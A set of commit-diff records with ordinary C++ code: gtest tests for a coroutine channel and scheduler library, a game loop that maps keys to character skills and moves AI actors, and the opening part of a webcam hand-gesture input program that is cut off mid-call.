{\n\t\t\/\/ recv\n\t\tfor(;;)\n\t\t{\n\t\t\tauto data = go.get(yield);\n\t\t\tif(!data)\n\t\t\t{\n\t\t\t\tstd::cout << \"channel closed\" << std::endl;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tstd::cout << \"recving: \" << *data << std::endl;\n\t\t\t}\n\t\t}\n\t});\n\tsch.run_until_complete();\n}\n\nTEST(CoroTest, TestScheduler)\n{\n\tcu::scheduler sch;\n\tcu::semaphore person1(sch);\n\tcu::semaphore person2(sch);\n\tcu::semaphore other(sch);\n\t\/\/ person2\n\tsch.spawn(\"person2\", [&](auto& yield) {\n\t\tstd::cout << \"Hola person1\" << std::endl;\n\t\tperson2.notify(yield);\n\t\t\/\/\n\t\tperson1.wait(yield);\n\t\tstd::cout << \"que tal ?\" << std::endl;\n\t\tperson2.notify(yield);\n\t\t\/\/\n\t\tperson1.wait(yield);\n\t\tstd::cout << \"me alegro\" << std::endl;\n\t\tperson2.notify(yield);\n\t\t\/\/\n\t\tother.notify(yield);\n\t});\n\t\/\/ person1\n\tsch.spawn(\"person1\", [&](auto& yield) {\n\t\t\/\/\n\t\tperson2.wait(yield);\n\t\tstd::cout << \"Hola person2\" << std::endl;\n\t\tperson1.notify(yield);\n\t\t\/\/\n\t\tperson2.wait(yield);\n\t\tstd::cout << \"bien!\" << std::endl;\n\t\tperson1.notify(yield);\n\t\t\/\/\n\t\tperson2.wait(yield);\n\t\tstd::cout << \"y yo ^^\" << std::endl;\n\t\t\/\/\n\t\tother.notify(yield);\n\t});\n\t\/\/ other\n\tsch.spawn(\"other\", [&](auto& yield) {\n\t\t\/\/\n\t\tother.wait(yield);\n\t\tother.wait(yield);\n\t\tstd::cout << \"parar!!! tengo algo importante\" << std::endl;\n\t});\n\tsch.run_until_complete();\n}\n<commit_msg>Update test_channel.cpp<commit_after>#include <iostream>\n#include <gtest\/gtest.h>\n#include \"..\/pipeline.h\"\n#include \"..\/channel.h\"\n#include \"..\/scheduler.h\"\n#include \"..\/shell.h\"\n#include <thread>\n#include <asyncply\/run.h>\n\nclass ChannelTest : testing::Test { };\n\nusing cmd = cu::pipeline<int>;\n\ncmd::link generator()\n{\n\treturn [](cmd::in&, cmd::out& yield)\n\t{\n\t\tfor (auto& s : {100, 200, 300})\n\t\t{\n\t\t\tstd::cout << \"I am generator and push \" << s << std::endl;\n\t\t\tyield(s);\n\t\t}\n\t};\n}\n\ncmd::link link1()\n{\n\treturn [](cmd::in& source, cmd::out& yield)\n\t{\n\t\tfor (auto& s : source)\n\t\t{\n\t\t\tstd::cout << \"I am link1 and push \" << s << std::endl;\n\t\t\tyield(s);\n\t\t}\n\t};\n}\n\ncmd::link link2()\n{\n\treturn [](cmd::in& source, cmd::out& yield)\n\t{\n\t\tfor (auto& s : source)\n\t\t{\n\t\t\tstd::cout << \"I am link2 and push \" << s << std::endl;\n\t\t\tyield(s);\n\t\t}\n\t};\n}\n\ncmd::link link3()\n{\n\treturn [](cmd::in& source, cmd::out& yield)\n\t{\n\t\tfor (auto& s : source)\n\t\t{\n\t\t\tstd::cout << \"I am link3 and push \" << s << std::endl;\n\t\t\tyield(s);\n\t\t}\n\t};\n}\n\nTEST(ChannelTest, pipeline)\n{\n\tcmd(generator(), link1(), link2(), link3());\n}\n\nTEST(ChannelTest, goroutines_consumer)\n{\n\tcu::scheduler sch;\n\tcu::channel<std::string> go(sch, 5);\n\t\/\/ go.connect(cu::quote(\"__^-^__\"));\n\t\/\/ go.connect(cu::quote(\"__\\o\/__\"));\n\tsch.spawn([&](auto& yield) {\n\t\t\/\/ send\n\t\tfor(int i=1; i<=50; ++i)\n\t\t{\n\t\t\tstd::cout << \"sending: \" << i << std::endl;\n\t\t\tgo(yield, std::to_string(i));\n\t\t}\n\t\tgo.close(yield);\n\t});\n\tsch.spawn([&](auto& yield) {\n\t\t\/\/ recv\n\t\tfor(;;)\n\t\t{\n\t\t\tauto data = go.get(yield);\n\t\t\tif(!data)\n\t\t\t{\n\t\t\t\tstd::cout << \"channel closed\" << std::endl;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tstd::cout << \"recving: \" << *data << std::endl;\n\t\t\t}\n\t\t}\n\t});\n\tsch.run_until_complete();\n}\n\nTEST(CoroTest, TestScheduler)\n{\n\tcu::scheduler sch;\n\tcu::semaphore person1(sch);\n\tcu::semaphore person2(sch);\n\tcu::semaphore other(sch);\n\t\/\/ person2\n\tsch.spawn([&](auto& yield) {\n\t\tstd::cout << \"Hola person1\" << std::endl;\n\t\tperson2.notify(yield);\n\t\t\/\/\n\t\tperson1.wait(yield);\n\t\tstd::cout << \"que tal ?\" << std::endl;\n\t\tperson2.notify(yield);\n\t\t\/\/\n\t\tperson1.wait(yield);\n\t\tstd::cout << \"me alegro\" << std::endl;\n\t\tperson2.notify(yield);\n\t\t\/\/\n\t\tother.notify(yield);\n\t});\n\t\/\/ person1\n\tsch.spawn([&](auto& yield) {\n\t\t\/\/\n\t\tperson2.wait(yield);\n\t\tstd::cout << \"Hola person2\" << std::endl;\n\t\tperson1.notify(yield);\n\t\t\/\/\n\t\tperson2.wait(yield);\n\t\tstd::cout << \"bien!\" << std::endl;\n\t\tperson1.notify(yield);\n\t\t\/\/\n\t\tperson2.wait(yield);\n\t\tstd::cout << \"y yo ^^\" << std::endl;\n\t\t\/\/\n\t\tother.notify(yield);\n\t});\n\t\/\/ other\n\tsch.spawn([&](auto& yield) {\n\t\t\/\/\n\t\tother.wait(yield);\n\t\tother.wait(yield);\n\t\tstd::cout << \"parar!!! tengo algo importante\" << std::endl;\n\t});\n\tsch.run_until_complete();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"GameProcess.h\"\n#include \"Object.h\"\n#include \"Engine.h\"\n#include \"World.h\"\n#include \"App.h\"\n#include \"ToolsCamera.h\"\n#include \"ControlsApp.h\"\n#include \"MathLib.h\"\n#include \"Game.h\"\n#include \"Editor.h\"\n#include \"Input.h\"\n#include \"BlueRayUtils.h\"\n#include \"World.h\"\n#include \"Action.h\"\n#include \"FPSRoleLocal.h\"\n\nusing namespace MathLib;\n\nCGameProcess::CGameProcess(void)\n{\n\n}\n\nCGameProcess::~CGameProcess(void)\n{\n\n}\nint CGameProcess::Init()\n{\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"char\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"node\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"smesh\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"sanim\");\n\n\tg_Engine.pWorld->LoadWorld(\"data\/scene\/terrain\/test\/test.world\");\n\t\/\/g_Engine.pWorld->LoadWorld(\"data\/scene\/terrain\/cj\/cj.world\"); \n\tg_Engine.pControls->SetKeyPressFunc(KeyPress);\n\tg_Engine.pControls->SetKeyReleaseFunc(KeyRelease);\n\n\tm_pRole = new CFPSRoleLocal();\n\tm_pRole->Init(10001, \"data\/role\/hero\/FpsRole\/fps.char\");\t\t\n\n\tm_pRole->SetActorPosition(vec3(0, 0, 0));\t\/\/设置角色初始位置。以门处作为原点,三维坐标系vec3是向量\n\tm_pSkillSystem = new CSkillSystem(this);\n\tm_pCameraBase = new CCameraBase();\n\tm_pCameraBase->SetEnabled(1);\n\tg_pSysControl->SetMouseGrab(1);\n\n\tm_pStarControl = new CStarControl();\n\tm_pRayControl = new CRayControl();\n\n\treturn 1;\n}\n\nint CGameProcess::ShutDown()\t\t\t\/\/关闭游戏进程\n{\n\tdelete m_pRole;\n\tdelete m_pSkillSystem;\n\tdelete m_pCameraBase;\n\tdelete m_pStarControl;\n\tdelete m_pRayControl;\n\n\tDelAllListen();\n\treturn 0;\n}\n\nint CGameProcess::Update()\n{\n\tfloat ifps = g_Engine.pGame->GetIFps();\n\n\tif (g_Engine.pInput->IsKeyDown('1'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"attack02\");\n\t\tif (pAction)\n\t\t{\n\t\t\tpAction->SetupSkillThrow(vec3_zero, -1.0f, 2.0f);\n\t\t\tm_pRole->StopMove();\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('2'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill01\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('3'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill02\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCRoleBase* pTarget = NULL;\n\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tfloat l = (m_vAIList[i]->GetPosition() - m_pRole->GetPosition()).length();\n\t\t\t\tif (l > 5.0f && l < 15.0f)\n\t\t\t\t{\n\t\t\t\t\tpTarget = m_vAIList[i];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (pTarget)\n\t\t\t{\n\t\t\t\tCVector<int> vTarget;\n\t\t\t\tvTarget.Append(pTarget->GetRoleID());\n\t\t\t\tpAction->SetupSkillBulletTarget(vTarget);\n\t\t\t\tm_pRole->SetDirection((pTarget->GetPosition() - m_pRole->GetPosition()).normalize(), 1);\n\t\t\t}\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('4'))\/\/多发子弹\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill02\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCVector<int> vTarget;\n\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tfloat l = (m_vAIList[i]->GetPosition() - m_pRole->GetPosition()).length();\n\t\t\t\tif (l > 5.0f && l < 20.0f)\n\t\t\t\t{\n\t\t\t\t\tvTarget.Append(m_vAIList[i]->GetRoleID());\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!vTarget.Empty())\n\t\t\t{\n\t\t\t\tpAction->SetupSkillBulletTarget(vTarget);\n\t\t\t}\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('5'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill03\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCVector<vec3> vPos;\n\t\t\tpAction->SetupSkillTargetPoint(vPos);\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('6'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill06\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCVector<vec3> vPos;\n\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tfloat l = (m_vAIList[i]->GetPosition() - m_pRole->GetPosition()).length();\n\t\t\t\tif (l > 5.0f && l < 20.0f)\n\t\t\t\t\tvPos.Append(m_vAIList[i]->GetPosition());\n\n\t\t\t}\n\t\t\tpAction->SetupSkillTargetPoint(vPos);\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('7'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill05\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCVector<int> vTarget;\n\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tfloat l = (m_vAIList[i]->GetPosition() - m_pRole->GetPosition()).length();\n\t\t\t\tif (l > 5.0f && l < 20.0f)\n\t\t\t\t\tvTarget.Append(m_vAIList[i]->GetRoleID());\n\t\t\t}\n\t\t\tif (!vTarget.Empty())\n\t\t\t{\n\t\t\t\tpAction->SetupSkillBulletTarget(vTarget);\n\t\t\t}\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('8'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill07\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCVector<vec3> vPos;\n\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tfloat l = (m_vAIList[i]->GetPosition() - m_pRole->GetPosition()).length();\n\t\t\t\tif (l > 5.0f && l < 20.0f)\n\t\t\t\t\tvPos.Append(m_vAIList[i]->GetPosition());\n\t\t\t}\n\t\t\tpAction->SetupSkillBulletPosition(vPos);\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('9'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill08\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tpAction->SetupSkillBulletDirection(1);\n\t\t}\n\n\t}\n\telse if (g_Engine.pInput->IsKeyUp(CInput::KEY_ESC))\n\t{\n\t\tg_Engine.pApp->Exit();\n\t}\n\tif(g_Engine.pInput->IsLBDown())\n\t{\n\t\tvec3 p0,p1;\n\t\tBlueRay::GetPlayerMouseDirection(p0,p1);\n\t\tvec3 vRetPoint,vRetNormal;\n\t\tint nS = -1;\n\t\tg_Engine.pWorld->GetIntersection(p0,p1,CBRObject::MASK_SCENE,vRetPoint,vRetNormal,nS);\n\n\t\tif(-1 != nS)\n\t\t{\n\t\t\tm_pRole->MoveToPath(vRetPoint);\n\t\t}\n\t}\n\treturn 0;\n}\n\n\n<commit_msg>Signed-off-by: mrlitong <litongtongxue@gmail.com><commit_after>#include \"GameProcess.h\"\n#include \"Object.h\"\n#include \"Engine.h\"\n#include \"World.h\"\n#include \"App.h\"\n#include \"ToolsCamera.h\"\n#include \"ControlsApp.h\"\n#include \"MathLib.h\"\n#include \"Game.h\"\n#include \"Editor.h\"\n#include \"Input.h\"\n#include \"BlueRayUtils.h\"\n#include \"World.h\"\n#include \"Action.h\"\n#include \"FPSRoleLocal.h\"\n\nusing namespace MathLib;\n\nCGameProcess::CGameProcess(void)\n{\n\n}\n\nCGameProcess::~CGameProcess(void)\n{\n\n}\nint CGameProcess::Init()\n{\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"char\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"node\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"smesh\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"sanim\");\n\n\tg_Engine.pWorld->LoadWorld(\"data\/scene\/terrain\/test\/test.world\");\n\t\/\/g_Engine.pWorld->LoadWorld(\"data\/scene\/terrain\/cj\/cj.world\"); \n\tg_Engine.pControls->SetKeyPressFunc(KeyPress);\n\tg_Engine.pControls->SetKeyReleaseFunc(KeyRelease);\n\n\tm_pRole = new CFPSRoleLocal();\n\tm_pRole->Init(10001, \"data\/role\/hero\/FpsRole\/fps.char\");\t\t\n\n\tm_pRole->SetActorPosition(vec3(0, 0, 0));\t\/\/设置角色初始位置。以门处作为原点,三维坐标系vec3是向量\n\tm_pSkillSystem = new CSkillSystem(this);\n\tm_pCameraBase = new CCameraBase();\n\tm_pCameraBase->SetEnabled(1);\n\tg_pSysControl->SetMouseGrab(1);\n\n\tm_pStarControl = new CStarControl();\n\tm_pRayControl = new CRayControl();\n\n\treturn 1;\n}\n\nint CGameProcess::ShutDown()\t\t\t\/\/关闭游戏进程\n{\n\tdelete m_pRole;\n\tdelete m_pSkillSystem;\n\tdelete m_pCameraBase;\n\tdelete m_pStarControl;\n\tdelete m_pRayControl;\n\n\tDelAllListen();\n\treturn 0;\n}\n\nint CGameProcess::Update()\n{\n\tfloat ifps = g_Engine.pGame->GetIFps();\n\n\tif (g_Engine.pInput->IsKeyDown('1'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"attack02\");\n\t\tif (pAction)\n\t\t{\n\t\t\tpAction->SetupSkillThrow(vec3_zero, -1.0f, 2.0f);\n\t\t\tm_pRole->StopMove();\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('2'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill01\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('3'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill02\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCRoleBase* pTarget = NULL;\n\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tfloat l = (m_vAIList[i]->GetPosition() - m_pRole->GetPosition()).length();\n\t\t\t\tif (l > 5.0f && l < 15.0f)\n\t\t\t\t{\n\t\t\t\t\tpTarget = m_vAIList[i];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (pTarget)\n\t\t\t{\n\t\t\t\tCVector<int> vTarget;\n\t\t\t\tvTarget.Append(pTarget->GetRoleID());\n\t\t\t\tpAction->SetupSkillBulletTarget(vTarget);\n\t\t\t\tm_pRole->SetDirection((pTarget->GetPosition() - m_pRole->GetPosition()).normalize(), 1);\n\t\t\t}\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('4'))\/\/多发子弹\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill02\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCVector<int> vTarget;\n\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tfloat l = (m_vAIList[i]->GetPosition() - m_pRole->GetPosition()).length();\n\t\t\t\tif (l > 5.0f && l < 20.0f)\n\t\t\t\t{\n\t\t\t\t\tvTarget.Append(m_vAIList[i]->GetRoleID());\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!vTarget.Empty())\n\t\t\t{\n\t\t\t\tpAction->SetupSkillBulletTarget(vTarget);\n\t\t\t}\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('5'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill03\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCVector<vec3> vPos;\n\t\t\tpAction->SetupSkillTargetPoint(vPos);\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('6'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill06\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCVector<vec3> vPos;\n\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tfloat l = (m_vAIList[i]->GetPosition() - m_pRole->GetPosition()).length();\n\t\t\t\tif (l > 5.0f && l < 20.0f)\n\t\t\t\t\tvPos.Append(m_vAIList[i]->GetPosition());\n\n\t\t\t}\n\t\t\tpAction->SetupSkillTargetPoint(vPos);\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('7'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill05\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCVector<int> vTarget;\n\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tfloat l = (m_vAIList[i]->GetPosition() - m_pRole->GetPosition()).length();\n\t\t\t\tif (l > 5.0f && l < 20.0f)\n\t\t\t\t\tvTarget.Append(m_vAIList[i]->GetRoleID());\n\t\t\t}\n\t\t\tif (!vTarget.Empty())\n\t\t\t{\n\t\t\t\tpAction->SetupSkillBulletTarget(vTarget);\n\t\t\t}\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('8'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill07\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tCVector<vec3> vPos;\n\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t{\n\t\t\t\tfloat l = (m_vAIList[i]->GetPosition() - m_pRole->GetPosition()).length();\n\t\t\t\tif (l > 5.0f && l < 20.0f)\n\t\t\t\t\tvPos.Append(m_vAIList[i]->GetPosition());\n\t\t\t}\n\t\t\tpAction->SetupSkillBulletPosition(vPos);\n\t\t}\n\t}\n\telse if (g_Engine.pInput->IsKeyDown('9'))\n\t{\n\t\tCAction* pAction = m_pRole->OrceAction(\"skill08\");\n\t\tif (pAction)\n\t\t{\n\t\t\tm_pRole->StopMove();\n\t\t\tpAction->SetupSkillBulletDirection(1);\n\t\t}\n\n\t}\n\telse if (g_Engine.pInput->IsKeyUp(CInput::KEY_ESC))\n\t{\n\t\tg_Engine.pApp->Exit();\n\t}\n\tif(g_Engine.pInput->IsLBDown())\n\t{\n\t\tvec3 p0,p1;\n\t\tBlueRay::GetPlayerMouseDirection(p0,p1);\n\t\tvec3 vRetPoint,vRetNormal;\n\t\tint nS = -1;\n\t\tg_Engine.pWorld->GetIntersection(p0,p1,CBRObject::MASK_SCENE,vRetPoint,vRetNormal,nS);\n\n\t\tif(-1 != nS)\n\t\t{\n\t\t\tm_pRole->MoveToPath(vRetPoint);\n\t\t}\n\t}\n\tfor(int i = 0;i < 20;i++)\n\t{\n\t\tif(!m_vAIList[i]->IsMoveing())\n\t\t{\n\t\t\tvec3 vPos = vec3(g_Engine.pGame->GetRandomFloat(-20.0f,20.0f),g_Engine.pGame->GetRandomFloat(-20.0f,20.0f),1.1f);\n\t\t\tm_vAIList[i]->MoveToPath(vPos);\n\t\t}\n\n\t\tm_vAIList[i]->Update(ifps);\n\t}\n\treturn 0;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/* ======================================================================\nFile Name : HandGesture.cpp\nCreation Time : 20141015 15:14:24\n========================================================================= \nCopyright (c),2014-, Po-Jen Hsu. Contact: clusterga@gmail.com\nSee the README file in the top-level directory for license.\n========================================================================= *\/\n#include \"CmdLine.h\"\n#include \"CvRGBCamera.h\"\n#include \"Distribution.h\"\n#include \"VirtualInput.h\"\n#include \"ScreenTool.h\"\n#include \"XMLTool.h\"\n\nint main(int argc, char **argv)\n{\n\t\tmodule_XMLTool::XMLTool *pXMLTool = new module_XMLTool::XMLTool();\n\t\tstd::string dat_path = \"dat\/\";\n\n\t\tstd::string VirtualInput_XML_file_name = dat_path;\n\t\tVirtualInput_XML_file_name.append(\"0.xml\");\n\t\tstd::vector<std::vector<int> > key_array(5, std::vector<int> (4) );\n\t\tif(pXMLTool->setupVirtualInputKeyMap(VirtualInput_XML_file_name.c_str(), key_array) != 0) {\n\t\t\t\tstd::cerr << \"Error! Cannot initial kep map\" << std::endl;\n\t\t\t\texit(-1);\n\t\t}\n\n\t\tstd::string BinaryFilter_XML_file_name = dat_path;\n\t\tBinaryFilter_XML_file_name.append(\"BinaryFilter.xml\");\n\t\tstd::vector<std::vector<int> > boundary_array(3, std::vector<int> (2) );\n\t\tif(pXMLTool->setupBinaryFilter(BinaryFilter_XML_file_name.c_str(), boundary_array) != 0) {\n\t\t\t\tstd::cerr << \"Error! Cannot load BinaryFilter parameters\" << std::endl;\n\t\t\t\texit(-1);\n\t\t}\n\n\t\tstd::string CvRGBCamera_XML_file_name = dat_path;\n\t\tCvRGBCamera_XML_file_name.append(\"CvRGBCamera.xml\");\n\t\tstd::vector<std::vector<int> > camera_array(1, std::vector<int> (6) );\n\t\tif(pXMLTool->setupCvRGBCamera(CvRGBCamera_XML_file_name.c_str(), camera_array) != 0) {\n\t\t\t\tstd::cerr << \"Error! Cannot load CvRGBCamera parameters\" << std::endl;\n\t\t\t\texit(-1);\n\t\t}\n\n\t\tstd::string GestureThreshold_XML_file_name = dat_path;\n\t\tGestureThreshold_XML_file_name.append(\"GestureThreshold.xml\");\n\t\tstd::vector<std::vector<int> > threshold_array(1, std::vector<int> (10) );\n\t\tif(pXMLTool->setupGestureThreshold(GestureThreshold_XML_file_name.c_str(), threshold_array) != 0) {\n\t\t\t\tstd::cerr << \"Error! Cannot load BinaryFilter parameters\" << std::endl;\n\t\t\t\texit(-1);\n\t\t}\n\n\t\tstd::string ROI_XML_file_name = dat_path;\n\t\tROI_XML_file_name.append(\"BinaryFilter.xml\");\n\t\tstd::vector<std::vector<int> > ROI_array(1, std::vector<int> (5) );\n\t\tif(pXMLTool->setupROI(ROI_XML_file_name.c_str(), ROI_array) != 0) {\n\t\t\t\tstd::cerr << \"Error! Cannot load BinaryFilter parameters\" << std::endl;\n\t\t\t\texit(-1);\n\t\t}\n\n\t\tint camera_id = camera_array[0][0];\n\t\tint camera_x = camera_array[0][1];\n\t\tint camera_y = camera_array[0][2];\n\t\tint camera_fps = camera_array[0][3];\n\t\tint camera_brightness = camera_array[0][4];\n\t\tint camera_contrast = camera_array[0][5];\n\n\t\tint cut_x_lower = ROI_array[0][0]; \/\/ 35;\n\t\tint cut_x_upper = ROI_array[0][1]; \/\/ 35;\n\t\tint cut_y_lower = ROI_array[0][2]; \/\/ 50;\n\t\tint cut_y_upper = ROI_array[0][3]; \/\/ 20;\n\t\tint ROI_x_lower = cut_x_lower*(camera_x\/160);\n\t\tint ROI_x_upper = camera_x - cut_x_upper*(camera_x\/160);\n\t\tint ROI_y_lower = cut_y_lower*(camera_y\/120);\n\t\tint ROI_y_upper = camera_y - cut_y_upper*(camera_y\/120);\n\t\tint ROI_x_length = ROI_x_upper - ROI_x_lower + 1;\n\t\tint ROI_y_length = ROI_y_upper - ROI_y_lower + 1;\n\t\tint ROI_sum_threshold = ROI_array[0][4];\n\n int threshold_key_x_left = threshold_array[0][0];\/\/6;\n\t\tint threshold_key_x_right = threshold_array[0][1];\n int threshold_key_y_up = threshold_array[0][2];\/\/5;\n\t\tint threshold_key_y_down = threshold_array[0][3] ;\n int threshold_move_x = threshold_array[0][4];\/\/ 2;\n int threshold_move_y = threshold_array[0][5];\/\/ 2;\n\t\tint count_threshold_short = threshold_array[0][6];\n\t\tint count_threshold_long = threshold_array[0][7];;\n\t\tint move_factor = threshold_array[0][8];\n\/\/\t\tint move_step = threshold_array[0][9];\n\n\t\tthreshold_key_x_left = threshold_key_x_left * (camera_x\/160);\n\t\tthreshold_key_x_right = threshold_key_x_right * (camera_x\/160);\n\t\tthreshold_key_y_up = threshold_key_y_up * (camera_y\/120);\n\t\tthreshold_key_y_down = threshold_key_y_down * (camera_y\/120);\n\t\tthreshold_move_x = threshold_move_x * (camera_x\/160);\n\t\tthreshold_move_y = threshold_move_y * (camera_y\/120);\n\n\/\/\t\tint lower1 = 0;\n\/\/\t\tint upper1 = 50;\n\/\/\t\tint lower2 = 50;\n\/\/\t\tint upper2 = 173;\n\/\/\t\tint lower3 = 20; \/\/20\n\/\/\t\tint upper3 = 230;\/\/230;\n\n\t\tint lower1 = boundary_array[0][0]; \/\/H_upper H\/2; 0-180\n\t\tint upper1 = boundary_array[0][1]; \/\/H_upper \n\t\tint lower2 = boundary_array[1][0]; \/\/S_lower S*255; 0-255\n\t\tint upper2 = boundary_array[1][1]; \/\/S_upper \n\t\tint lower3 = boundary_array[2][0]; \/\/V_lower V*255; 0-255\n\t\tint upper3 = boundary_array[2][1]; \/\/V_upper\n\n\n\t\tmodule_CmdLine::CmdLine *pCmdLine = new module_CmdLine::CmdLine();\n\t\tpCmdLine->setup(argc, argv);\n\n\t\tmodule_CvRGBCamera::CvRGBCamera *pCvRGBCamera = new module_CvRGBCamera::CvRGBCamera(camera_id);\n\n\t\tmodule_Distribution::Distribution *pDistribution = new module_Distribution::Distribution(camera_x, camera_y);\n\n\t\tpDistribution->imageROI(ROI_x_lower, ROI_x_upper, ROI_y_lower, ROI_y_upper);\n\n\t\tmodule_VirtualInput::VirtualInput *pVirtualInput = new module_VirtualInput::VirtualInput();\n\n\t\tmodule_ScreenTool::ScreenTool *pScreenTool = new module_ScreenTool::ScreenTool();\n\t\tpScreenTool->X11Screen();\n\t\tint screen_x = pScreenTool->screenWidth();\n\t\tint screen_y = pScreenTool->screenHeight();\n\t\tint move_type = 1;\n\t\tpVirtualInput->setup(screen_x, screen_y, move_type);\n\t\tsleep(1);\n\n\n\t\tif (pCvRGBCamera->setup(camera_x, camera_y, camera_fps, camera_brightness, camera_contrast) == 1) {\n\t\t\tstd::cerr << \"Error!\" << std::endl;\n\t\t}\n\n\t\tpCvRGBCamera->setupAutosizeWindow(\"frame\");\n\n\/\/\t\tpCvRGBCamera->setupOpenGLWindow(\"hist_x\");\n\/\/\t\tpCvRGBCamera->setupOpenGLWindow(\"pos_x\");\n\n\/\/\t\tpCvRGBCamera->setupOpenGLWindow(\"hist_y\");\n\/\/\t\tpCvRGBCamera->setupOpenGLWindow(\"pos_y\");\n\n\n\t\tint pos_x, pos_y, pos_pre_x = 0, pos_pre_y = 0, diff_x = 0, diff_y = 0;\n\t\tcv::Mat dist_x = cv::Mat::zeros(1, camera_x, CV_32SC1);\n\t\tcv::Mat dist_y = cv::Mat::zeros(camera_y, 1, CV_32SC1);\n\n\t\tint left_count = 0, right_count = 0, up_count = 0, down_count = 0;\n\n\t\tint no_move = -1;\n\t\tint press = 1, release = 0;\n\n\t\tint dx, dy;\n\n\t\tint read_key = -1;\n\n\/\/\t\tchar return_key[32];\n\n\/\/\t\tDisplay *display;\n\n\t\twhile (read_key != 27) {\n\t\t\t\tread_key = cv::waitKey(15);\n\n\/\/\t\t\t\tXQueryKeymap(display, return_key);\n\/\/\t\t\t\tstd::cout << \"return_key = \" << return_key << std::endl;\n\t\t\t\tpDistribution->imageDist2d(pCvRGBCamera->HSVBinary(lower1, lower2, lower3, upper1, upper2, upper3), (int *)dist_x.data, (int *)dist_y.data);\n\t\t\t\tpos_x = pDistribution->imageDistMean((int *)dist_x.data, 0, ROI_x_length, ROI_sum_threshold);\n\t\t\t\tpos_y = pDistribution->imageDistMean((int *)dist_y.data, 0, ROI_y_length, 